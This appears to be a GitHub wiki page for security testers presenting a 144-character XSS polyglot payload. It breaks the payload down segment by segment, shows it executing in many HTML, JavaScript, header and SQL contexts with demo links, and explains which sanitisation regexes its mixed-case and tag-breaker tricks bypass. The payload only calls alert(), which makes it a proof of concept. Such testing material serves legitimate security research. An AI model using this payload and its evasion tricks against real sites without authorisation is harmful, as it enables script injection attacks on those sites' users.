-
Notifications
You must be signed in to change notification settings - Fork 274
Unleashing an Ultimate XSS Polyglot
When it comes to testing for cross-site scripting vulnerabilities (a.k.a. XSS), you’re generally faced with a variety of injection contexts where each of which requires you to alter your injection payload so it suites the specific context at hand. This can be too tedious and time consuming in most cases, but luckily, XSS polyglots can come in handy here to save us a lot of time and effort.
An XSS polyglot can be generally defined as any XSS vector that is executable within various injection contexts in its raw form.
jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e
-
jaVasCript:
: A label in ECMAScript; a URI scheme otherwise. -
/*-/*`/*\`/*'/*"/**/
: A multi-line comment in ECMAScript; a literal-breaker sequence. -
(/* */oNcliCk=alert() )
: A tangled execution zone wrapped in invoking parenthesis! -
//%0D%0A%0d%0a//
: A single-line comment in ECMAScript; a double-CRLF in HTTP response headers. -
</stYle/</titLe/</teXtarEa/</scRipt/--!>
: A sneaky HTML-tag-breaker sequence. -
\x3csVg/<sVg/oNloAd=alert()//>\x3e
: An innocuous svg element.
Total length: 144 characters.
- Double-quoted tag attributes:
<input type="text" value="
jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e
"></input>
Demo: https://jsbin.com/dopepi
- Single-quoted tag attributes:
<input type='text' value='
jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e
'></input>
Demo: https://jsbin.com/diwedo
- Unquoted tag attributes:
<input type=text value=jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e></input>
Demo: https://jsbin.com/zizuvad
- Unquoted tag attributes with HTML-escaped values (may require a click):
<img border=3 alt=jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e>
Demo: https://jsbin.com/gopavuz (note that the click might not be needed with elements that support the onload
event handler.)
href
/xlink:href
andsrc
attributes with HTML-escaped values:
<a href="
jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e
">click me</a>
Demo: https://jsbin.com/kixepi
<math xlink:href="
jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e
">click me</math>
Demo: https://jsbin.com/bezofuw
<iframe src="
jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e
"></iframe>
Demo: https://jsbin.com/feziyi
- HTML comments:
<!--
jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e
-->
Demo: https://jsbin.com/taqizu
- Arbitrary common HTML tags:
<title>
jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e
</title>
Demo: https://jsbin.com/juzuvu
<style>
jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e
</style>
Demo: https://jsbin.com/qonawa
<textarea>
jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e
</textarea>
Demo: https://jsbin.com/mecexo
<div>
jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e
</div>
Demo: https://jsbin.com/wuvumuh
- Double-quoted strings:
var str = "jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e";
Demo: https://jsbin.com/coteco
- Single-quoted strings:
var str = 'jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e';
Demo: https://jsbin.com/bupera
- Template strings/literals (ES6):
String.raw`jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e`;
Demo: https://jsbin.com/rewapay
- Regular expression literals:
var re = /jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e/;
Demo: https://jsbin.com/zepiti
- Single-line and multi-line comments:
<script>
//jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e
</script>
Demo: https://jsbin.com/fatorag
<script>
/*
jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e
*/
</script>
Demo: https://jsbin.com/vovogo
eval
:
eval(location.hash.slice(1));
setTimeout
:
setTimeout(location.search.slice(1));
setInterval
:
setInterval(location.search.slice(1));
Function
:
new Function(location.search.slice(1))();
innerHTML
/outerHTML
anddocument.write
with HTML-escaped strings:
var data = "jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e";
document.documentElement.innerHTML = data;
Demo: https://jsbin.com/nimokaz
var data = "jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e";
document.head.outerHTML = data;
Demo: https://jsbin.com/yowivo
var data = "jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e";
document.write(data);
document.close();
Demo: https://jsbin.com/ruhofi
- Event handlers with HTML-escaped values:
<svg onload="
void 'javascript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e';
"></svg>
Demo: https://jsbin.com/puboha
As you might have already noticed, the polyglot has been crafted with filter evasion in mind. For instance:
-
jaVasCript:
,oNcliCk=
, et al. bypasses:
preg_replace('/\b(?:javascript:|on\w+=)/', '', PAYLOAD);
-
/*`/*\`
bypasses:
preg_replace('/`/', '\`', PAYLOAD);
-
</stYle/</titLe/</teXtarEa/</scRipt/--!>
bypasses:
preg_replace('/<\/\w+>/', '', PAYLOAD);
-
--!>
bypasses:
preg_replace('/-->/', '', PAYLOAD);
-
<sVg/oNloAd=alert()//>
bypasses:
preg_replace('/<\w+\s+/', '', PAYLOAD);
HTTP/1.1 200 OK
Date: Sun, 01 Mar 2016 00:00:00 GMT
Content-Type: text/html; charset=utf-8
Set-Cookie: x=jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//
//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e
SELECT * FROM Users WHERE Username='jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e'
SELECT * FROM Users WHERE Username="jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e"